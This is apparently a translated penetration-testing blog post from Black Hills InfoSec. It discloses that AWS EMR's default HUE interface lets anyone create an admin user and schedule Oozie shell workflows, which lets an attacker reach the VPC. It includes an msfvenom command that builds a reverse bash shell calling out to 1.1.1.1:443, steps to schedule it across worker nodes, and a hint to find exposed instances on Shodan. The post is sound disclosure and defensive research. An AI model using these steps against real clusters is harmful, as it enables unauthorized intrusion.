云端安全攻防实战:AWS EMR漏洞研究与披露

本文详细记录了Black Hills信息安全团队在AWS EMR集群中发现的两个关键安全漏洞:Hadoop未授权RCE和HUE接口默认管理员创建功能,通过实际攻击演示展示了如何通过这些漏洞获取VPC内部访问权限。

云端安全:研究、发现与披露的故事

Jordan Drysdale //

tl;dr BHIS在与客户合作审计其亚马逊网络服务(AWS)基础设施时发现了一些有趣的结果。在发现时,我们找到了两条通过弹性Map Reduce(EMR)应用栈进入客户虚拟私有云(VPC)的路径。其中一个让我们获得内部访问权限的漏洞是Hadoop未授权RCE,该漏洞已被Apache修补。另一个更有趣的入口点是HUE界面,默认情况下允许为Web界面创建新的管理员用户。进入Web界面后,HUE类似于Jupyter,帮助可视化代码流和操作。在这里,您可以创建计划任务,从集群工作节点发送出口shell,从而为虚拟私有云网络打开一个窗口。

许多链接、最佳实践、AWS安全操作以及下面的许多内容来自一位名叫Zack的出色人士。感谢Zack——帮助数字世界每天变得更好。

……现在进入正题。

大数据处理引擎构成了当今大型科技公司的支柱。因此,互联网已成为数据中心的集合,似乎一心一意地收集尽可能多的关于我们的信息。这些数据被聚合、编译,然后塞入人口统计容器中。对这些人口统计容器的访问权随后被出售给希望投放广告、政治宣传和各种其他无意义内容的竞标者。欢迎来到大数据时代,聚合数据点在互联网上每分钟都以几分钱的价格买卖。

这与信息安全、渗透测试、“在云中”或“云上”的安全有什么关系?AWS上的这些大数据解决方案之一称为EMR——“弹性Map Reduce”。我认为在Azure上是HDInsight,在Google Cloud(GCP)上是Cloud Dataproc。通过几次点击,您也可以像Black Hills InfoSec一样,在适合任何目的的平台上部署您选择大小的数据处理引擎。

作为在云中部署解决方案的一部分,系统管理员有责任配置、管理和保护这些服务。领导层、所有权和董事会 everywhere 有责任实施和执行策略和程序,渗透测试人员和审计员可以通过漏洞测试和策略复选框验证来双重检查。物理安全、部署适当的虚拟化、维护硬件,然后向我们出售这些服务的责任属于云提供商。就EMR而言,通过几次点击,几个EC2实例以主/工作模式部署。指令和操作通过主控制台发送,随后由工作节点处理。

所以,所有这些都为了说明一点……保护我们的服务。BHIS大部分使用Tenable的产品作为我们的标准漏洞扫描器。它完美吗?不。它能实现我们的目标吗?是的。作为相当标准的渗透测试的一部分,典型的BHIS客户可能会要求进行外部网络审查和内部渗透测试。BHIS大部分时间实践我们所宣扬的内容,因此我们定期扫描和渗透测试我们自己的外部和内部服务。

等一下——需要更多澄清。EMR集群只需几次点击即可部署,旨在成为一个易于实施的解决方案,只需最少的努力即可最大化数据处理能力。我们测试的是默认部署,仅对安全组进行了单一修改,允许我们的扫描器完全网络访问。

扫描的一些统计数据可以在接下来的几点中查看。

  • 三节点集群
  • 默认情况下有55个独立且唯一的开放端口
  • 总共10个混合漏洞:低/中/高/严重
  • 主节点上不受支持的PHP版本5.6.40

让我们在这里停下来再次回顾一些事情。EMR集群是在亚马逊预烘焙AMI上运行的第三方应用程序集合,运行这些文件系统服务:

  • Hadoop分布式文件系统
  • 弹性Map Reduce文件系统(超级酷——可以与S3进行文件系统对话)

预安装在此集群上的软件列表如下:

  • Hue – 版本各异
  • Yet Another Resource Navigator (YARN)
  • Hadoop MapReduce
  • Flink
  • Apache Spark
  • Ganglia
  • Hive
  • Jupyter
  • Oozie
  • Pig
  • 等等无限。

参考:https://docs.aws.amazon.com/emr/latest/ReleaseGuide/images/emr-releases-5x.png

请注意,如果您还不知道,这是一个相当广泛的服务生态系统需要保护。这个生态系统最令人惊奇的事情之一是单点击部署服务的效率。老实说,运行此解决方案以及扩展技术和一些代码自动化可以产生极其高效的数据处理解决方案。那么所有这些开源魔术的安全含义是什么?对于堆栈部署者来说,当启动EMR集群包括以下分层保护时,很容易假设事情大部分是安全的:

  • 亚马逊EMR的默认安全组不允许从互联网进入
  • 亚马逊EMR托管安全组允许客户让AWS管理其主节点和工作节点之间的网络连接
  • EMR关于网络管理的文档向客户发出警告,不要将其EMR基础设施暴露给互联网
  • 如果您可以放弃对非交互式集群的SSH访问,它可以简化强化EMR集群。
  • 亚马逊EMR版本5.10.0及更高版本支持Kerberos以控制对集群中节点的访问。完整文档在线发布。

还有更多。下一个列表涵盖了AWS为客户进一步保护其基础设施记录的最佳实践:

  • 如果集群用于批处理,并且交互式用户或其他应用程序不需要访问它,请在具有S3端点和任何其他所需端点的私有子网中启动集群。有关更多信息,请参阅配置网络。
  • 客户可以在VPC私有子网中启动集群——一个没有任何入口/出口点定义的子网。如果集群确实需要访问,ssh到没有VPC端点或需要访问互联网的AWS服务。客户可以创建一个NAT实例,在VPC子网和互联网之间提供一层控制。文档中的场景2“具有公共和私有子网(NAT)的VPC”有更多信息。
  • 如果客户使用私有子网并创建S3端点,他们可以使用S3策略限制端点的访问。最低策略要求记录在Amazon EMR 2.x和3.x AMI版本中。
  • 如果客户在VPC私有子网中启动,但仍需要交互式访问集群。客户可以创建一个堡垒主机(也称为边缘节点),它位于公共子网中,并从其连接到您的EMR集群。此设置允许您在边缘节点上强制执行安全策略,但不在EMR集群上。AWS大数据博客上提供了一个指南,用于安全访问在私有子网中启动的Amazon EMR上的Web界面。

采取步骤管理和保护此基础设施仍然是企业所有者、技术实施者、IT审计员——基本上是命令链上下每个利益相关者的责任。开源的性质需要额外关注。安全并不轻落在负责数据管理和安全的系统管理员身上。在整个系统生命周期中,有许多层的考虑、流程、程序和控制需要考虑。而且,作为我们缺乏初始文档审查和尽职调查的一部分,我们确认您可以在我们的漏洞扫描和测试期间添加您的新管理员用户并通过HUE执行恶意代码。

Hue服务启动时等待新的管理用户。这很糟糕,对吧?自动扩展可以根据您的使用情况以每天几个集群的速度启动EMR。控制下面看到的服务变得异常困难。

默认设置的Hue管理界面

我们像大多数合理的道德黑客一样添加了一个用户。Hue界面允许您用各种语言设计任务并安排它们在集群中运行。由于我们让主节点安排工作,我们希望它能运行C2代码。以下屏幕截图展示了访问工作节点shell的下一步。

查询下拉框 > 调度程序 > 工作流

进入工作流后,拖放“shell”选项。

运行Shell脚本!

然后我们被提示上传文件或运行命令,我们转到我们的msfconsole。在测试中,二进制文件似乎没有按预期运行,但以下命令成功生成了一个一致回调的reverse_bash shell。

1
msfvenom -p cmd/unix/reverse_bash LHOST=1.1.1.1 LPORT=443 -f raw > shell-revBash.sh

上传shell-revBash文件,点击它,并保存工作簿。

反向Shell发布到本地HDFS存储

然后通过工作流的播放按钮运行它。

右上角 – 播放!

这差不多就是全部了,我们得到了一个shell。重要的是,您可以安排此工作流。如果您安排它,像正常的代码操作一样,比如每五分钟运行一次,您最终将危害集群中的所有工作节点。如果您的C2通道通过DNS连接,您可能会得到一个半弹性的C2通道返回到VPC。

以’yarn’身份获得的Shell

让我们回顾一下这几个漏洞。首先,Hue界面启动时等待某人创建管理员用户。该用户可以创建工作流并通过底层的Oozie编辑器执行shell脚本。其次,这些任务可以是计划任务,整个集群可以使用反向shell被危害。这些shell可用于在VPC中横向移动。

许多层的事情必须发生,这些零碎的东西才能让我们实际获得进入VPC的C2通道。然而,它可能简单到在跳转主机上获得会话并在某处发现TCP端口8888开放。或者,您可以检查Shodan,看看是否有任何这些暴露给互联网。在最初撰写时,大约2018年12月,有大约900个Hue界面暴露。截至2019年8月20日,有663个实例可能易受此危害。

Shodan上Hue相关界面的结果

您可以自己找出Shodan搜索,这并不难。也就是说,这已向亚马逊披露,并在GCP上进行了研究。亚马逊意识到这可能对具有面向公众的EMR安装的客户带来的担忧。扩展也是一个问题,因为新集群将在线处于可供掠夺的状态。对您的跳转主机要格外小心,这些是非常可能的危害途径。底线——这不一定是一个漏洞,更像是HUE的一个“功能”,但它是一个重大风险。

保护您的服务。阅读手册。雇佣渗透测试公司覆盖差距。获得培训。制定事件响应计划。

拥抱和饼干, BHIS – Jordan

链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计